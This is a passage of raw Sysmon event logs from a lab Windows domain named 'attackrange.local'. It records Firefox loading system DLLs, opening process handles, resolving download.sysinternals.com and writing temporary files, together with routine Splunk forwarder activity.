Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000051285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.961{7BD73061-6D0F-613B-9406-00000000F001}4480172C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.959{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.957{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.957{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.957{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000051280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.928{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\thumbcache.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Thumbnail CacheMicrosoft® Windows® Operating SystemMicrosoft Corporationthumbcache.dllMD5=C146766884A92B154F2EB38463F2263D,SHA256=48C5CC7760187EDB140A904D3AC5FD24F740973CDBA07962047859F84E7BEB9C,IMPHASH=428FE673E24F7848BECF2BA2271A839AtrueMicrosoft WindowsValid 734700x800000000000000051279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.915{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\WindowsCodecs.dll10.0.14393.4350 (rs1_release.210407-2154)Microsoft Windows Codecs LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationWindowsCodecsMD5=B791899A46FD151559658F4F86C3C6F5,SHA256=E559B36A3CC2261C16916F2D49FA351DC4E21E5EC581AC43547ABA16F70CDA7E,IMPHASH=945C5ACF3D7F6243AD6374B1152227D8trueMicrosoft WindowsValid 10341000x800000000000000051278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.792{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+ec7f3e|C:\Program Files\Mozilla Firefox\xul.dll+2870d2|C:\Program Files\Mozilla Firefox\xul.dll+2863bf|C:\Program Files\Mozilla Firefox\xul.dll+2861aa|C:\Program Files\Mozilla Firefox\xul.dll+ee10a5|C:\Program Files\Mozilla Firefox\xul.dll+18ab07a|C:\Program Files\Mozilla Firefox\xul.dll+1ac1848|C:\Program Files\Mozilla Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac3db2|C:\Program Files\Mozilla Firefox\xul.dll+176a76e|C:\Program Files\Mozilla Firefox\xul.dll+1ab719d|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0|C:\Program Files\Mozilla Firefox\xul.dll+f0ba15|C:\Program Files\Mozilla Firefox\xul.dll+f0b5a4|C:\Program Files\Mozilla Firefox\xul.dll+f0b049|C:\Program Files\Mozilla Firefox\xul.dll+f0bc7f|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e 10341000x800000000000000051277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.792{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+ec7f17|C:\Program Files\Mozilla Firefox\xul.dll+2870d2|C:\Program Files\Mozilla Firefox\xul.dll+2863bf|C:\Program Files\Mozilla Firefox\xul.dll+2861aa|C:\Program Files\Mozilla Firefox\xul.dll+ee10a5|C:\Program Files\Mozilla Firefox\xul.dll+18ab07a|C:\Program Files\Mozilla Firefox\xul.dll+1ac1848|C:\Program Files\Mozilla Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac3db2|C:\Program Files\Mozilla Firefox\xul.dll+176a76e|C:\Program Files\Mozilla Firefox\xul.dll+1ab719d|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0|C:\Program Files\Mozilla Firefox\xul.dll+f0ba15|C:\Program Files\Mozilla Firefox\xul.dll+f0b5a4|C:\Program Files\Mozilla Firefox\xul.dll+f0b049|C:\Program Files\Mozilla Firefox\xul.dll+f0bc7f|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e 10341000x800000000000000051276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.791{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+ec7eec|C:\Program Files\Mozilla Firefox\xul.dll+2870d2|C:\Program Files\Mozilla Firefox\xul.dll+2863bf|C:\Program Files\Mozilla Firefox\xul.dll+2861aa|C:\Program Files\Mozilla Firefox\xul.dll+ee10a5|C:\Program Files\Mozilla Firefox\xul.dll+18ab07a|C:\Program Files\Mozilla Firefox\xul.dll+1ac1848|C:\Program Files\Mozilla Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac3db2|C:\Program Files\Mozilla Firefox\xul.dll+176a76e|C:\Program Files\Mozilla Firefox\xul.dll+1ab719d|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0|C:\Program Files\Mozilla Firefox\xul.dll+f0ba15|C:\Program Files\Mozilla Firefox\xul.dll+f0b5a4|C:\Program Files\Mozilla Firefox\xul.dll+f0b049|C:\Program Files\Mozilla Firefox\xul.dll+f0bc7f|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e 734700x800000000000000051275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.750{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\EsdSip.dll10.0.14393.0 (rs1_release.160715-1616)Crypto SIP provider for signing and verifying .esd Electronic Software Distribution filesMicrosoft® Windows® Operating SystemMicrosoft CorporationESDSIP.DLLMD5=CDF191FF99AF7729029F5E098FF7D819,SHA256=53A7D390A146F888AF5FE3F1EF3859ECC58D9E0EA3AE27FDDF281CE14691568D,IMPHASH=E47F6D532615E6E31018F6C5A9EA62C1trueMicrosoft WindowsValid 734700x800000000000000051274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.748{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll10.0.14393.0 (rs1_release.160715-1616)Crypto SIP provider for signing and verifying PowerShell script files (.ps1/.ps1xml)Microsoft® Windows® Operating SystemMicrosoft Corporationpwrshsip.dllMD5=5366DEE11C59571EC48B56020E8949DE,SHA256=EE5CDBEDA2067413ACB7B5E7B4AF53B40336148CA104D1671212B43737EB348C,IMPHASH=C93A45A26AACEA8208AA325C281035F0trueMicrosoft WindowsValid 734700x800000000000000051273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.743{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000051272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.743{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000051271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.742{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\xmllite.dll10.0.14393.3143 (rs1_release.190725-1725)Microsoft XmlLite LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationXmlLite.dllMD5=64E301CCFADF34810ADA8DE9DBC7720F,SHA256=6EAE1E0E610793C7DF2B27795553F377D2C4126CF74D8EE4A84DE3C3150871F8,IMPHASH=B53F82B33CA6ABD6251152A46E5FF78CtrueMicrosoft WindowsValid 734700x800000000000000051270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.740{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\urlmon.dll11.00.14393.4530 (rs1_release.210705-0736)OLE32 Extensions for Win32Internet ExplorerMicrosoft CorporationUrlMon.dllMD5=B63DBDFEC215CF37259DC4A88ADBD0E7,SHA256=67B02F3DE0AF36E76C2D259CE7833EDA4FE33D935538E8A4C1E7E82130870FC1,IMPHASH=D30D879B129DBE4925A85E9DD136188BtrueMicrosoft WindowsValid 734700x800000000000000051269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.738{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\OpcServices.dll10.0.14393.2848 (rs1_release.190305-1856)Native Code OPC Services LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationOpcServices.dllMD5=991F8CCB43104DE3BD6E24A4D2BF870D,SHA256=8187C096A269D20742DEC9B651536F1C7A354D114B176179B1F4E090BB28E1F2,IMPHASH=F5D44AC1D5D2912F6B871FE7D5604CEDtrueMicrosoft WindowsValid 734700x800000000000000051268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.736{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\AppxSip.dll10.0.14393.4169 (rs1_release.210107-1130)Appx Subject Interface PackageMicrosoft® Windows® Operating SystemMicrosoft CorporationAppxSip.dllMD5=33AEB645167296EFE22E1BB64B63CBFC,SHA256=6E2B948F3CD7EEC6D9A9A864476F074FB5876E397916FF81A39B23976489AB52,IMPHASH=B062C097D0B3B0DCCA3ECC898B231E28trueMicrosoft WindowsValid 734700x800000000000000051267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.735{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wshext.dll5.812.10240.16384Microsoft ® Shell Extension for Windows Script HostMicrosoft ® Windows Script HostMicrosoft Corporationwshext.dllMD5=BA425FEBA35E20778ADB8FAF7268D8A0,SHA256=3A2F8057B4312BE9389CB86C8C3FA8BA3A590E3CE811AB163D77159DB095AA41,IMPHASH=EE821B7DB352A29DF6636AEB059E4519trueMicrosoft WindowsValid 734700x800000000000000051266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.730{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\coml2.dll10.0.14393.2608 (rs1_release.181024-1742)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOML2.DLLMD5=F51CCB7A95B83C1327390BF672AFD328,SHA256=850E50B525EF51374B880146E26464D10A8B1DAE1E0307F7B27DC7322824F2BF,IMPHASH=B74E4EE6BBCE405BE73914241C9AF2C8trueMicrosoft WindowsValid 734700x800000000000000051265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.729{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msisip.dll5.0.14393.4530 (rs1_release.210705-0736)MSI Signature SIP ProviderWindows Installer - UnicodeMicrosoft CorporationMSISIP.DLLMD5=A579FD92E60D1CE05E20BF7569D579E8,SHA256=CD9DF3851153E3770E343CE224E6F969B9C5A466BF8C1036242DCBB5CE0F7986,IMPHASH=9990E8AE89385588C988664086E258E7trueMicrosoft WindowsValid 354300x800000000000000051264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:35.865{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56336- 23542300x800000000000000051263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.621{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\ADMINI~1\AppData\Local\Temp\5Ec2QVzq.zip.partMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.441{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\permissions.sqlite-journalMD5=7BF0934F3F064B223BF8624A0F015548,SHA256=ED7CA0C0970468B632C4F518444C44BA1594316A049627257E9D108F422CACE1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.224{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6BE124DE5E710B08EB7D4B622818E2FD,SHA256=FD2C1CCBD0E25DA305D018B2B2F9DA6CAE176E19088FC0E51F0514F71B0652F8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016451Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:37.003{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E71D9ACA21C374BEDDABE0BF22741DA0,SHA256=D45D37FC1880C55DF6D722B87E503B1B1650C4EB557B84CF26CE19ACE07ADDA3,IMPHASH=00000000000000000000000000000000falsetrue 22542200x800000000000000051309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.492{7BD73061-728D-613B-560B-00000000F001}4776download.sysinternals.com0type: 5 az155186.vo.msecnd.net;type: 5 cs22.wpc.v0cdn.net;::ffff:152.199.19.160;C:\Program Files\Mozilla Firefox\firefox.exe 10341000x800000000000000051308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:38.940{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 354300x800000000000000051307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:36.873{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59574-false20.42.65.90-443https 354300x800000000000000051306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:36.870{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59573-false20.42.65.90-443https 354300x800000000000000051305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:36.864{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59575-false152.199.19.160-443https 354300x800000000000000051304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:36.797{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59741- 23542300x800000000000000051303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:38.266{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A7F0C3E0AFFB316EFE52FB0E833F40B8,SHA256=A005232E9FD02F06CA6B32F3C797CC8FD1A7EA4D5D155E9665A271498D49B844,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016453Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:37.403{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50289-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016452Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:38.003{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9B3407342060E3224481B22232C0FD0F,SHA256=22976AFE7B8DBEE0605D993F2B72293690851CFF2E4FF966751487A1EC0BED3D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000051302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:38.261{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000051301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:38.261{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla 